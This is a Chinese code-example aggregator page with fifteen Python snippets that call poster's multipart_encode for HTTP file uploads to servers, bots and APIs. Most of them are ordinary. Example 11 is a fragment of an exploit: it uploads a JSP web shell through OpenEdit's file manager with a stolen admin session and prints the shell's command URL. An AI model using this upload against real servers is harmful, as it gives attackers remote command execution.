本文整理汇总了Python中poster.encode.multipart_encode函数的典型用法代码示例。如果您正苦于以下问题:Python multipart_encode函数的具体用法?Python multipart_encode怎么用?Python multipart_encode使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了multipart_encode函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: upload_to_server
def upload_to_server(self, file_path, thumbpath, duration, cuts=[], \
vseq=None, vshot=None, st=0, et=0):
'''Upload a file to vixen server'''
server = self.db(self.db.prefs.name == 'server').select().first().value
register_openers()
request_page = "%s/utils/upload_from_maya.json" % server
fd = open(file_path, "rb")
tu = open(thumbpath, "rb")
sha1 = hashlib.sha1(fd.read()).hexdigest()
tusha1 = hashlib.sha1(tu.read()).hexdigest()
if vshot:
datagen, headers = multipart_encode({'prfile': fd, 'thumb':tu, 'sha1':sha1, \
'auth':self.get_vAuth(), 'frames':duration, 'tusha1':tusha1,\
'st':st, 'et':et, 'shotuuid':vshot})
elif vseq:
datagen, headers = multipart_encode({'prfile': fd, 'thumb':tu, \
'auth':self.get_vAuth(), 'frames':duration, 'sha1':sha1, \
'cuts':cuts, 'tusha1':tusha1, 'sequuid':vseq})
else:
warning('Vixen Error: Scene not assigned.')
return
# Create the Request object:confirm bd
request = urllib2.Request(request_page, datagen, headers)
data = urllib2.urlopen(request).read()
feedback = json.loads(data)
if feedback['result'] == 'ok':
print feedback['info']
else:
warning('Vixen Server Error: %s' % feedback['info'])
示例2: messagehandler
def messagehandler(dbSession, request, *args, **kwargs):
update = telegram.Update.de_json(json.loads(request.body))
chat_id = update.message.chat.id
text = update.message.text.encode('utf-8')
photos = update.message.photo
user = dbSession.query(User).filter(User.userid == chat_id).first()
if not user:
user = User(userid = chat_id)
dbSession.add(user)
n_clusters = None
if photos:
photo_id = max(photos, lambda x: x.width).photo_id
if user.n_clusters:
# give photo
photo_path = json.loads(urlfetch.fetch(url = "https://api.telegram.org/getFile", payload = json.dumps({'file_id' : photo_id}), method = 'POST', headers = {"Content-Type": "application/json"}).content)['file_path']
photo = open("https://api.telegram.org/file/bot{}/{}".format(TELEGRAM_API_TOKEN,photo_path))
orig_n_colors, reduced_photo = reduce_colors(photo, n_clusters)
body = {'method' : 'sendPhoto',
'chat_id' : chat_id,
'photo' : "".join(multipart_encode(reduced_photo)[0]),
'caption' : "The photo had {} colors, but I reduced it to just {}, and it looks almost the same. Amazing me!"\
.format(orig_n_colors, n_clusters)}
return Response(status_int = 200, body = body, headers=to_post[1])
else:
# update photo
# get number
user.photolink = photo_id
return getResponse("Give a number", chat_id)
elif text:
if not set(text).issubset('1234567890'):
# not recognized
return getResponse("Give me a number or a photo", chat_id)
elif int(text) < 2:
# not recognized
return getResponse("Give me a number or a photo", chat_id)
else:
n_clusters = int(text)
if user.photolink:
# give photo
photo_path = json.loads(urlfetch.fetch(url = "https://api.telegram.org/getFile", payload = json.dumps({'file_id' : photo_id}), method = 'POST', headers = {"Content-Type": "application/json"}).content)['file_path']
photo = open("https://api.telegram.org/file/bot{}/{}".format(TELEGRAM_API_TOKEN,photo_path))
orig_n_colors, reduced_photo = reduce_colors(photo, n_clusters)
encoded, headers = multipart_encode(reduced_photo)[0]
body = {'method' : 'sendPhoto',
'chat_id' : chat_id,
'photo' : "".join(encoded),
'caption' : "The photo had {} colors, but I reduced it to just {}, and it looks almost the same. Amazing me!"\
.format(orig_n_colors, n_clusters)}
return Response(status_int = 200, body = body, headers = headers, content_type = 'multipart/form-data')
else:
# update n_clusters
# get photo
user.n_clusters = n_clusters
return getResponse("Give me a number", chat_id)
else:
# not recognized
return getResponse("Give me a number or a photo", chat_id)
示例3: logInUser
def logInUser(userID, password, card):
"""Function for Logging into the server. handled server-side
Security: Encrypted with Server Public Key
"""
register_openers().add_handler(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
try:
pwd = security.PBKDKF2.pwsend(password)
params = {"userID": userID, "password": pwd}
sendparam = encryptMessageToSendRSA(params)
datagen, headers = multipart_encode(sendparam)
request = urllib2.Request("https://localhost:8080/logInUser", datagen, headers)
result = urllib2.urlopen(request).read()
if result == "ERROR":
return False
elif result == "REGIST_AGAIN":
return False
else:
clientSession = DiffieHellman.DiffieHellman()
# receive token and decrypt it with
private_file = os.path.join("PrivateKeys", "Private_key_" + str(userID))
with open(private_file, "rb") as f:
private_key = security.importkey_RSA(f.read())
loginMessage = json.loads(result)
receivedMessage = security.decrypt_RSA(private_key, loginMessage["token"].decode("hex"))
# sign token
""" -----------------SIGN CC/PrivateKey By PWD -------------------- """
reply = card.connect(0L)
if reply:
tokenSigned = card.sign(receivedMessage)
card.disconnect()
else:
tokenSigned = ""
""" -----------------SIGN CC/PrivateKey By PWD -------------------- """
message = {"userID": userID, "password": pwd}
# send token back
tokenchiphered = encryptMessageToSendRSA({"token": tokenSigned})
sendparam = encryptMessageToSendRSA(message)
messageToSend = {
"message": sendparam,
"session": json.dumps(clientSession.publicKey),
"token": tokenchiphered,
}
datagen, headers = multipart_encode(messageToSend)
request = urllib2.Request("https://localhost:8080/authTokenValidation", datagen, headers)
result = urllib2.urlopen(request).read()
if result == "OK":
# Establish Session
clientSession.genKey(loginMessage["session"])
destination = os.path.join("download", "session.txt")
user = User(userID, clientSession.getKey().encode("hex"))
print "Logged In: " + str(userID)
return user
return False
except urllib2.URLError as e:
print e.reason
print "Currently, you are not a valid user!\nSafeBox Team"
return False
示例4: _process_source
def _process_source(self, resource_id, location, resource,
args=None, progress_bar=False, callback=None,
out=sys.stdout):
"""Creates a new source.
"""
code = HTTP_INTERNAL_SERVER_ERROR
error = {
"status": {
"code": code,
"message": "The resource couldn't be created"}}
if args is None:
args = {}
args = self._add_project(args, True)
if progress_bar and callback is not None:
body, headers = multipart_encode(args, cb=callback)
else:
body, headers = multipart_encode(args)
url = self._add_credentials(self.source_url)
if GAE_ENABLED:
try:
response = urlfetch.fetch(url=url,
payload="".join(body),
method=urlfetch.POST,
headers=headers)
code = response.status_code
content = response.content
if code in [HTTP_CREATED]:
if 'location' in response.headers:
location = response.headers['location']
resource = json_load(response.content)
resource_id = resource['resource']
error = {}
elif code in [HTTP_BAD_REQUEST,
HTTP_UNAUTHORIZED,
HTTP_PAYMENT_REQUIRED,
HTTP_FORBIDDEN,
HTTP_NOT_FOUND,
HTTP_TOO_MANY_REQUESTS]:
error = json_load(response.content)
LOGGER.error(self.error_message(error, method='create'))
elif code != HTTP_ACCEPTED:
LOGGER.error("Unexpected error (%s)", code)
code = HTTP_INTERNAL_SERVER_ERROR
except urlfetch.Error, exception:
LOGGER.error("Error establishing connection: %s",
str(exception))
示例5: InitDb
def InitDb(self, uploadimage = False):
t = urllib2.urlopen(self.url, 'method=database.reset').read()
if t != '{"result":1}':
raise Exeption('Error: Reset database')
if uploadimage:
files = {}
names = []
for i in self.images:
n = hashlib.sha1(i).hexdigest()
files[n] = open(i, 'rb')
names.append(n)
files['images'] = ','.join(names)
files['method'] = 'database.imageupload'
d, h = multipart_encode(files)
req = urllib2.Request(self.url, d, h)
r = urllib2.urlopen(req)
t = r.read()
o = json.loads(t)
if o['result'] != 1:
raise Exception('Error: Uploading images')
s = 'BEGIN;\n'
for uid, name, pwd, sex, ty, avatar, sch, reg, sid in self.users:
s += "INSERT INTO `user` (uid,name,password,sex,type,avatar,school,region) VALUES (%d,'%s','%s',%d,%d,'%s','%s','%s');\n"%(
uid,name,pwd,sex,ty,sha1(open(avatar,'rb')),sch,reg)
s += "INSERT INTO `session` (sid,uid,expire,type) VALUES ('%s',%d,DATE_ADD(NOW(),INTERVAL 30 DAY),%d);\n"%(
self.UserSession(name),uid,ty);
s += "INSERT INTO `session` (sid,uid,expire,type) VALUES ('test',1,DATE_SUB(NOW(), INTERVAL 1 HOUR), 0);\n"
for uid, sid, name, addr, intro, photo, phone in self.shops:
s += "INSERT INTO `shop` (sid,uid,name,address,introduction,photo,phonenum,time,last_offer) VALUES (%d,%d,'%s','%s','%s','%s','%s', 0, 0);\n"%(
sid, uid, name, addr, intro, sha1(open(photo,'rb')),phone)
for uid,sid,fid,name,price,intro,photo,spec in self.foods:
s += "INSERT INTO `food` (fid,sid,name,introduction,price,price_delta,photo,special) values (%d,%d,'%s','%s',%.2f,0,'%s',%d)\n"%(
fid,sid,name,intro,price,sha1(open(photo,'rb')),spec)
for id, uid, fid in self.bookmark_f:
s += "INSERT INTO `bookmark_food` (id,uid,fid) values (%d,%d,%d);\n"%(id,uid,fid)
for id, uid, sid in self.bookmark_s:
s += "INSERT INTO `bookmark_shop` (id,uid,sid) values (%d,%d,%d);\n"%(id,uid,sid)
s += 'COMMIT;'
#print s
d, h = multipart_encode({'method': 'database.execute', 'sql':s})
req = urllib2.Request(self.url, d, h)
r = urllib2.urlopen(req)
t = r.read()
print t
o = json.loads(t)
if o['result'] != 1:
raise Exception('Error: Adding records')
示例6: registUser
def registUser(username, password, mail, card):
"""Function for contact the server and send the information
of the user.
Security: Encrypted with Server Public Key
"""
register_openers().add_handler(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
try:
if card.connect(0L) == True:
pwd = security.PBKDKF2.pwsend(password)
mod, exp = card.getAuth()
userID = username
public_key, private_key = security.generate_RSA()
params = {"userID": userID, "username": username, "password": pwd}
sendparam = encryptMessageToSendRSA(params)
sendparam["pub_key"] = public_key.encode("hex")
sendparam["mod"] = mod
sendparam["exp"] = exp
datagen, headers = multipart_encode(sendparam)
request = urllib2.Request("https://localhost:8080/registUser", datagen, headers)
result = urllib2.urlopen(request).read()
if result != "ERROR":
token = security.decrypt_RSA(security.importkey_RSA(private_key), result.decode("hex"))
""" -----------------SIGN CC/PrivateKey By PWD -------------------- """
tokenSigned = card.sign(token)
card.disconnect()
""" -----------------SIGN CC/PrivateKey By PWD -------------------- """
# send token back
message = {"userID": userID, "password": pwd}
# send token back
tokenchiphered = encryptMessageToSendRSA({"token": tokenSigned})
sendparam = encryptMessageToSendRSA(message)
messageToSend = {"message": sendparam, "token": tokenchiphered}
datagen, headers = multipart_encode(messageToSend)
request = urllib2.Request("https://localhost:8080/registTokenValidation", datagen, headers)
result = urllib2.urlopen(request).read()
if result != "ERROR":
# Verify if the token was correct
""" SAVE PRIVATE KEY FILE -----> Cipher with Password"""
private_file = os.path.join("PrivateKeys", "Private_key_" + str(userID))
# messageToSend = security.encryptS_AES(json.dumps(message), session.decode('hex')).encode('hex')
# ciphered_priv_key = security.encryptS_AES(json.dumps(private_key), pwd).encode('hex')
with open(private_file, "wb") as f:
f.write(private_key)
return True
return False
except urllib2.URLError as e:
print e.reason
print "Currently, you are not a valid user!\nSafeBox Team"
return False
示例7: upload_file
def upload_file(self,fileobj,filename,workflow_uuid,title="",description=""):
# BIG GOTCHA HERE:
# the workflow is set in a separate request from the upload
# and state is maintained on the server.
# that means that there's a race condition here if two PCP
# objects with the same session_id try to upload files
# to different workflows at roughly the same time.
# if there's any chance at all of that happening, you want to
# put some kind of mutex around this method call
# we have to set the workflow uuid first, in a separate request
self.select_workflow(workflow_uuid)
# now we prepare the upload
datagen,headers = multipart_encode((
("title",title),
("workflow_select",workflow_uuid), # probably redundant
("description",description),
MultipartParam(name="source_file",fileobj=fileobj,filename=filename)
))
request = urllib2.Request(self.BASE + "capture/file_upload", datagen, headers)
# set up credentials
base64string = base64.encodestring("%s:%s" % self.credentials)[:-1]
request.add_header("Authorization", "Basic %s" % base64string)
request.add_header("Cookie", "_session_id=" + self.get_session() + "; BALANCEID=balancer.mongrel2")
# and make the actual POST
content = urllib2.urlopen(request).read()
示例8: post_image
def post_image(upload_url,filename,time):
# Register the streaming http handlers with urllib2
#try a maximum of 5 times
upload_attempts = 0
while upload_attempts < 5:
try:
register_openers()
datagen, headers = multipart_encode({"file": open(filename),"time":time,"camera_id":camera_id,"token":token})
request = urllib2.Request(upload_url, datagen, headers)
response = urllib2.urlopen(request).read()
print response
if response == '200':
#delete files here
os.remove(filename)
print('RESPONSE OKAY FILE DELETED')
return True
else:
print('SERVER ERROR FILE NOT DELETED')
return False
except Exception,e:
print("Error posting file")
print(e)
print("Retrying...")
upload_attempts += 1
示例9: changeParam
def changeParam(self, param, value):
"""Change or add a parameter after making the request object
Simply changing self.data won't work as it needs to update other things.
value can either be a normal string value, or a file-like object,
which will be uploaded, if setMultipart was called previously.
"""
if param == 'format':
raise APIError('You can not change the result format')
self.data[param] = value
if self.multipart:
(datagen, headers) = multipart_encode(self.data)
self.headers.pop('Content-Length')
self.headers.pop('Content-Type')
self.headers.update(headers)
self.encodeddata = ''
for singledata in datagen:
self.encodeddata = self.encodeddata + singledata
else:
self.encodeddata = urlencode(self.data, 1)
self.headers['Content-Length'] = len(self.encodeddata)
self.headers['Content-Type'] = "application/x-www-form-urlencoded"
self.request = urllib2.Request(self.wiki.apibase, self.encodeddata, self.headers)
示例10: send_http_post
def send_http_post(self, ip, httpport, flow, delay, size):
'''
Loops "flow"-times and sends a file previously generated by a C Script
to a webserver via HTTP-POST.
This is threadsave for multiple client instances.
@param ip:
@param httpport:
@param flow:
@param delay:
@return: True / False (Success / Fail)
'''
# Register the streaming http handlers with urllib2
register_openers()
process = call(["/usr/local/bin/Zeus/filemaker/filemaker", size])
# Run Filemaker (a c program for filemaking by size)
# A file with the given size(byte) will be stored in /tmp/size
# headers contains the necessary Content-Type and Content-Length
# datagen is a generator object that yields the encoded parameters
datagen, headers = multipart_encode({"file": open("/tmp/size", "rb")})
lost = 0
for i in range(flow):
time.sleep(delay)
try:
request = urllib2.Request("http://" + ip + ":" + httpport + "/http_post", datagen, headers)
f = urllib2.urlopen(request)
except:
lost +=1
#lock.acquire()
#self.progress.update_progress()
#lock.release()
sys.stdout.write("\r" + str(lost) + "messages lost")
self.progress.update_progress()
print "\nDone! " + str(lost) + " messages lost"
return True
示例11: tryUpload
def tryUpload(cookie):
sys.stdout.write("(+) Creating shell and preparing.. ")
sys.stdout.flush()
adminCookie = re.search("JSESSIONID=(.*) for", str(cookie))
url = ("http://%s%sopenedit/filemanager/upload/uploadfile-finish.html" % (options.target, options.dirPath))
try:
writeShell = open(jspSname,'w')
writeShell.write(jspShell)
writeShell.close()
except:
print "(-) Exploit failed, you must have permission to write locally."
sys.exit(1)
register_openers()
datagen, headers = multipart_encode({"file": open(jspSname), "path": "/WEB-INF/base/"})
headers['Cookie'] = "JSESSIONID="+adminCookie.group(1)+";"
headers['User-agent'] = agent
request = urllib2.Request(url, datagen, headers)
request.set_proxy(options.proxy, 'http')
resp = urllib2.urlopen(request).read()
writeShell.close()
if re.search("UPLOAD SUCCESSFUL", resp):
sys.stdout.write("shell upload was successful!\n")
sploit = ("http://%s%s%s?cmd=[CMD]" % (options.target, options.dirPath, jspSname))
sys.stdout.write("(+) Shell located @ %s\n" % (sploit))
sys.stdout.flush()
示例12: request
def request(self, uri, method="POST",
body=None, headers=None):
params = {
'oauth_consumer_key': self.consumer.key,
'oauth_signature_method': self.method.name,
'oauth_token':self.token.key,
'oauth_timestamp':oauth2.generate_timestamp(),
'oauth_nonce':oauth2.generate_nonce(),
'oauth_version':'1.0'
}
echo_request = EchoRequest(method="GET",
url=self.auth_service_provider,
parameters=params
)
signature=echo_request.sign_request(oauth2.SignatureMethod_HMAC_SHA1(),
self.consumer,
self.token)
if not headers:
headers={}
headers.update(echo_request.to_header(self.realm, self.auth_service_provider))
register_openers()
datagen, heads = multipart_encode(body)
headers.update(heads)
req = urllib2.Request(uri, datagen, headers)
response = urllib2.urlopen(req)
return response
示例13: upload_files
def upload_files(self,files, package, remote=False, p2p=False, validity=0, uncompress=False):
for f in files:
params = None
logger.info("sendind %s to remote %s" % (f, remote) )
if not remote:
if os.path.exists(f):
params = {
"installid":"",
"installitemtype":"computer",
"installfile":os.path.split(f)[1],
"installfile_server":"",
"installp2p":p2p,
"installvalidity":validity,
"installuncompress":uncompress,
'file' : open(f)
}
else:
params = {
"installid":"",
"installitemtype":"fileserver",
"installfile":os.path.split(f)[1],
"installfile_server": f,
"installp2p": p2p and "true" or "false",
"installvalidity": "%d" % (validity) ,
"installuncompress": uncompress and "true" and "false" ,
'file' : ""
}
if params is not None:
datagen, headers = multipart_encode( params , cb = self.progress_cb)
logger.debug(pformat(datagen))
logger.debug(pformat(headers))
request = Request('%s/plugins/fusinvdeploy/ajax/package_file.save.php?package_id=%s&render=install' % (self._server,package), datagen, headers)
result = urlopen(request)
logger.debug( pformat(result.read()) )
示例14: make_request
def make_request(self, path, data=None,
ajax=False, debug=True):
url = path if path.startswith("http") else self.url + path
if ajax:
url += '&ajax=true' if '?' in url else '?ajax=true'
request = None
if data:
items = []
# wrap post parameters
for name, value in data.items():
if isinstance(value, file):
# add file
items.append(MultipartParam.from_file(name, value.name))
else:
items.append(MultipartParam(name, value))
datagen, headers = multipart_encode(items)
request = urllib2.Request(url, datagen, headers)
else:
request = urllib2.Request(url=url)
if ajax:
request.add_header('X_REQUESTED_WITH', 'XMLHttpRequest')
try:
# return urllib2.urlopen(request)
return self.opener.open(request)
except urllib2.HTTPError as ex:
if not debug:
raise
logger.error('error in request to %s' % path)
logger.error(ex.reason)
logger.error(ex.read())
raise
示例15: to_facebook_trophy_album
def to_facebook_trophy_album(access_token, img_src, facebook_album_id, nom):
now = datetime.datetime.now()
name = str(facebook_album_id) + '_' + str(now.strftime("%Y%m%dT%H%M%S")) + '.jpg'
path = MEDIA_ROOT + '/photos/temp/' + name
image = MyOpener()
image.retrieve(img_src, path)
post_url = shorten_url('http://portrit.com/#!/nomination/' + str(nom.id))
vote_count = nom.current_vote_count
vote_text = '1 vote.'
if vote_count > 1:
vote_text = str(vote_count) + ' votes.'
message = 'Won ' + nom.nomination_category + ' with ' + vote_text + '\n' + post_url
args = {
'access_token': access_token,
'message': message,
}
register_openers()
url = 'https://graph.facebook.com/' + str(facebook_album_id) + '/photos?' + urllib.urlencode(args)
params = {'file': open(path, "rb"), 'value': 'source', 'name': name, 'filetype': 'image/jpeg'}
datagen, headers = multipart_encode(params)
request = urllib2.Request(url, datagen, headers)
try:
response = urllib2.urlopen(request)
data = response.read()
except HTTPError, e:
print 'Error code: ', e.code